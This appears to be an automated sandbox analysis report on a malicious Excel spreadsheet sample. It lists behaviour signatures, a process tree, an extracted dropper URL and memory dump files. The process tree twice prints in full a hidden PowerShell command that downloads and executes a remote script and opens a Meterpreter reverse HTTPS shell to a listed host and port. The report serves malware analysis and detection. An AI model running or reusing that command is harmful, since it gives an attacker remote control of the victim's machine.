Analysis
- max time kernel
40s - max time network
37s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
10/07/2024, 21:50
General
- Target 473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac.xls
- Size 44KB
- Sample240710-1pz3cssanl
- SHA256 473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
- Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
__PSScriptPolicyTest_acbsgy2o.uhr.ps1
b8ab77100df80ab2.customDestinations-ms
config.vbs
memory/3800-56-0x00000297D9580000-0x00000297D95C4000-memory.dmp
memory/3800-41-0x00000297D93E0000-0x00000297D9402000-memory.dmp
memory/4124-12-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-21-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-9-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-0-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp
memory/4124-13-0x00007FF951760000-0x00007FF951770000-memory.dmp
memory/4124-11-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-14-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-15-0x00007FF951760000-0x00007FF951770000-memory.dmp
memory/4124-18-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-19-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-17-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-16-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-8-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-5-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-22-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-10-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-20-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-25-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-26-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-33-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-34-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-7-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp
memory/4124-6-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-4-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp
memory/4124-2-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp
memory/4124-3-0x00007FF993B0D000-0x00007FF993B0E000-memory.dmp
memory/4124-1-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp
memory/4124-70-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-71-0x00007FF993A70000-0x00007FF993C65000-memory.dmp
memory/4124-72-0x00007FF993A70000-0x00007FF993C65000-memory.dmp